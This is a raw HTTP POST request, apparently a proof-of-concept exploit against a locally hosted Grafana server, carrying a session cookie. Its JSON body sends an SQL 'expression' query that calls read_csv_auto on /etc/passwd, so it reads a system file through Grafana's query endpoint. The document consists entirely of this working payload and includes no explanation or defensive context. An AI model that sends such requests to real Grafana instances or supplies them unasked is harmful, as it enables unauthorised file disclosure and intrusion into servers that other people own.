POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
Content-Length: 368

{
  "from": "1696154400000",
  "to": "1696345200000",
  "queries": [
    {
      "datasource": {
        "name": "Expression",
        "type": "__expr__",
        "uid": "__expr__"
      },
      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ]
}